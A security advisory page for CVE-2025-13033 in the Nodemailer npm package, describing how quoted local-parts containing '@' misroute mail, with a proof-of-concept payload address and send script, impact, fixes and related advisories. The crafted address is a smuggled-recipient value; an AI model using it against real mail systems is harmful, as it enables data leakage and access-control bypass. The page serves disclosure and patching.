CVE-2025-13033: Nodemailer: Email to an unintended domain can occur due to Interpretation Conflict
The email parsing library incorrectly handles quoted local-parts containing @. This leads to misrouting of email recipients, where the parser extracts and routes to an unintended domain instead of the RFC-compliant target.
Published Oct 7, 2025 · Updated Nov 17, 2025
Affected packages
nodemailer
- Ecosystem
- npm
- Affected
- < 7.0.7
- Fixed in
- 7.0.7
- Check
npm ls nodemailer
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
The email parsing library incorrectly handles quoted local-parts containing @. This leads to misrouting of email recipients, where the parser extracts and routes to an unintended domain instead of the RFC-compliant target.
Payload: "[email protected] x"@internal.domain Using the following code to send mail
const nodemailer = require("nodemailer");
let transporter = nodemailer.createTransport({
service: "gmail",
auth: {
user: "",
pass: "",
},
});
let mailOptions = {
from: '"Test Sender" <[email protected]>',
to: "\"[email protected] x\"@internal.domain",
subject: "Hello from Nodemailer",
text: "This is a test email sent using Gmail SMTP and Nodemailer!",
};
transporter.sendMail(mailOptions, (error, info) => {
if (error) {
return console.log("Error: ", error);
}
console.log("Message sent: %s", info.messageId);
});
(async () => {
const parser = await import("@sparser/email-address-parser");
const { EmailAddress, ParsingOptions } = parser.default;
const parsed = EmailAddress.parse(mailOptions.to /*, new ParsingOptions(true) */);
if (!parsed) {
console.error("Invalid email address:", mailOptions.to);
return;
}
console.log("Parsed email:", {
address: `${parsed.localPart}@${parsed.domain}`,
local: parsed.localPart,
domain: parsed.domain,
});
})();Running the script and seeing how this mail is parsed according to RFC
Parsed email: {
address: '"[email protected] x"@internal.domain',
local: '"[email protected] x"',
domain: 'internal.domain'
}But the email is sent to [email protected]
Impact:
- Misdelivery / Data leakage: Email is sent to psres.net instead of test.com.
- Filter evasion: Logs and anti-spam systems may be bypassed by hiding recipients inside quoted local-parts.
- Potential compliance issue: Violates RFC 5321/5322 parsing rules.
- Domain based access control bypass in downstream applications using your library to send mails
Recommendations
- Fix parser to correctly treat quoted local-parts per RFC 5321/5322.
- Add strict validation rejecting local-parts containing embedded @ unless fully compliant with quoting.
Credited to xclow3n.
References
- https://github.com/nodemailer/nodemailer/security/advisories/GHSA-mm7p-fcc7-pg87
- https://github.com/nodemailer/nodemailer/commit/1150d99fba77280df2cfb1885c43df23109a8626
- https://nvd.nist.gov/vuln/detail/CVE-2025-13033
- https://access.redhat.com/security/cve/CVE-2025-13033
- https://bugzilla.redhat.com/show_bug.cgi?id=2402179
- https://github.com/advisories/GHSA-mm7p-fcc7-pg87
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More npm vulnerabilities
All npm entriesGHSA-4ffr-jq9g-5ffx
Nodemailer: Quadratic backtracking in SMTP AUTH mechanism detection regexes allows pre-auth remote denial of service
medium5.9Oct 27, 2026GHSA-4g23-2xm8-66gc
Nodemailer: Quadratic (O(n^2)) SMTP client reply parsing lets a malicious server or MITM cause a pre-auth remote denial of service
medium5.9Oct 27, 2026GHSA-g73g-hqqh-jr95
Nodemailer: RFC 5322 comment inside an angle-bracket address is never stripped
medium5.3Oct 27, 2026GHSA-85x2-q946-cp5h
Nodemailer: A ">" inside a quoted local part ends an angle-addr early in addressparser, delivering to a domain the header does not name
medium6.5Oct 23, 2026GHSA-8c8m-p3m8-cjg8
Nodemailer: A nested comment ends early in addressparser, releasing the rest of the comment as a recipient
medium6.5Oct 23, 2026GHSA-m943-m63m-w62w
Nodemailer: A ";" inside a quoted string or comment ends an address group early in addressparser, turning display text into a recipient
medium6.5Oct 23, 2026
